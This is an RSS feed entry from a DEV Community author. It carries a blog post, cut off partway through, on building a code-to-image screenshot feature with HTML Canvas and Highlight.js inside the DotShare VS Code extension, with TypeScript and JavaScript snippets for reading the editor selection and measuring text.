<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: freerave</title>
    <description>The latest articles on DEV Community by freerave (@freerave).</description>
    <link>https://dev.to/freerave</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3563889%2F6ecf3060-63f8-46f1-9869-b61412ef894c.png</url>
      <title>DEV Community: freerave</title>
      <link>https://dev.to/freerave</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/freerave"/>
    <language>en</language>
    <item>
      <title>I Built a Code Screenshot Tool Inside My VS Code Extension — Here's How It Works (DotShare v3.4.0)</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Mon, 01 Jun 2026 09:34:05 +0000</pubDate>
      <link>https://dev.to/freerave/i-built-a-code-screenshot-tool-inside-my-vs-code-extension-heres-how-it-works-dotshare-v340-1f35</link>
      <guid>https://dev.to/freerave/i-built-a-code-screenshot-tool-inside-my-vs-code-extension-heres-how-it-works-dotshare-v340-1f35</guid>
      <description>&lt;p&gt;You know that moment when you write a function you're genuinely proud of, and you want to share it on LinkedIn or Bluesky — but plain text just… doesn't do it justice?&lt;/p&gt;

&lt;p&gt;I've been there every week.&lt;/p&gt;

&lt;p&gt;I'm &lt;strong&gt;Kareem (FreeRave)&lt;/strong&gt;, founder of &lt;strong&gt;DotSuite&lt;/strong&gt; — a suite of privacy-first Linux tools and VS Code extensions. DotShare is my VS Code extension for sharing content across LinkedIn, X, Bluesky, Reddit, Dev.to, Medium, Telegram, and more — all without leaving the editor.&lt;/p&gt;

&lt;p&gt;Today I'm shipping &lt;strong&gt;v3.4.0&lt;/strong&gt;, and the headline feature is &lt;strong&gt;CodeSnap&lt;/strong&gt;: a code-to-image tool built entirely inside the extension's WebView, using nothing but HTML Canvas and Highlight.js.&lt;/p&gt;

&lt;p&gt;No &lt;code&gt;node-canvas&lt;/code&gt;. No &lt;code&gt;sharp&lt;/code&gt;. No native binaries. Zero extra dependencies.&lt;/p&gt;

&lt;p&gt;Let me walk you through how it works and why I built it this way.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XqwQVM-s0Po"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: Code Screenshots in VS Code Are Painful
&lt;/h2&gt;

&lt;p&gt;The existing solutions are either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;External web apps&lt;/strong&gt; (Carbon, Ray.so) — you copy code, tab out, paste, configure, download, come back, attach. Five steps too many.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Other VS Code extensions&lt;/strong&gt; (CodeSnap, Polacode) — great tools, but they don't integrate with a &lt;em&gt;sharing&lt;/em&gt; workflow. You screenshot, then you still have to open your composer manually.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I wanted the whole loop inside one tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Select code → 📸 Snap → Pick platform → Composer opens with image attached
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. No context switching.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Architecture Decision: Why HTML Canvas?
&lt;/h2&gt;

&lt;p&gt;When I started building this, the "obvious" choice was &lt;code&gt;node-canvas&lt;/code&gt; — the Node.js port of the HTML Canvas API. But I ran into three hard problems immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Native binaries are a Marketplace nightmare.&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;node-canvas&lt;/code&gt; requires &lt;code&gt;node-gyp&lt;/code&gt; and compiles native C++ addons. On VS Code Marketplace, extensions with native binaries are flagged, slow to install, and break on ARM Macs and certain Linux distros.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;sharp&lt;/code&gt; is 10MB+ of compiled code.&lt;/strong&gt;&lt;br&gt;
For a feature that renders a static image, that's an absurd payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. VS Code already ships a full browser engine (Electron).&lt;/strong&gt;&lt;br&gt;
The WebView &lt;em&gt;is&lt;/em&gt; a Chromium tab. It has a GPU-accelerated Canvas API, a full DOM parser, and font rendering that matches what the user actually sees on screen. Why fight it?&lt;/p&gt;

&lt;p&gt;So the decision was: &lt;strong&gt;render in the WebView, export PNG from there, and ship it back to the extension host.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────┐       loadCode        ┌─────────────────────┐
│   Extension Host    │ ──────────────────────▶│   WebView (Canvas)  │
│   (Node.js)         │                        │   (Chromium)        │
│                     │◀── snapReady (base64) ─│                     │
│  CodeSnapPanel.ts   │                        │  codesnap.html      │
│  MediaService.ts    │                        │  hljs + Canvas API  │
└─────────────────────┘                        └─────────────────────┘
         │
         ▼
    Saves to disk
    QuickPick: which platform?
    Opens Composer with image attached
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  CodeSnapService: Reading the Editor
&lt;/h2&gt;

&lt;p&gt;The first piece is pure Node.js — no VS Code UI involved yet. &lt;code&gt;CodeSnapService.capture()&lt;/code&gt; reads the active editor and returns everything the renderer needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/services/CodeSnapService.ts&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;CodeSnapData&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// resolved to HL.js alias&lt;/span&gt;
    &lt;span class="nl"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;lineStart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;lineEnd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;hasSelection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;capture&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;CodeSnapData&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;activeTextEditor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasSelection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;hasSelection&lt;/span&gt;
        &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Tabs break canvas rendering — convert to spaces first&lt;/span&gt;
    &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;    &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Strip common leading indent so the image doesn't waste space&lt;/span&gt;
    &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;CodeSnapService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_stripCommonIndent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="nx"&gt;CodeSnapService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_resolveLanguage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;languageId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="na"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="na"&gt;lineStart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;hasSelection&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;line&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lineEnd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="nx"&gt;hasSelection&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;line&lt;/span&gt;   &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lineCount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;hasSelection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details worth calling out:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tab conversion&lt;/strong&gt; — HTML Canvas has inconsistent &lt;code&gt;\t&lt;/code&gt; rendering across platforms. Converting to 4 spaces before we even touch the canvas eliminates an entire class of alignment bugs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common indent stripping&lt;/strong&gt; — if you select a deeply nested function, the raw text has 16 spaces of leading indent on every line. &lt;code&gt;_stripCommonIndent&lt;/code&gt; finds the minimum indent across all non-empty lines and removes it. The rendered image uses the full canvas width instead of leaving most of it empty.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;_stripCommonIndent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;minIndent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;lines&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;(\s&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;)?.[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;minIndent&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;minIndent&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;trimEnd&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Canvas Renderer
&lt;/h2&gt;

&lt;p&gt;The canvas rendering runs entirely in the WebView. Here's the core loop — I'll walk through it section by section.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Measure before you paint
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Measure text to calculate canvas dimensions&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tmp&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tmpCtx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;tmpCtx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;fontSize&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;px 'JetBrains Mono', 'Fira Code', Consolas, monospace`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;maxCodeW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;tmpCtx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;measureText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;innerW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;maxCodeW&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;lineNumWidth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;innerH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;LINE_H&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;TITLE_H&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We use a throwaway canvas just to measure text width before the real canvas exists. This lets us size the output to exactly fit the content — no hardcoded 800px width.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: 2x resolution for Retina
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvasW&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// physical pixels&lt;/span&gt;
&lt;span class="nx"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvasH&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvasW&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// CSS pixels&lt;/span&gt;
&lt;span class="nx"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvasH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
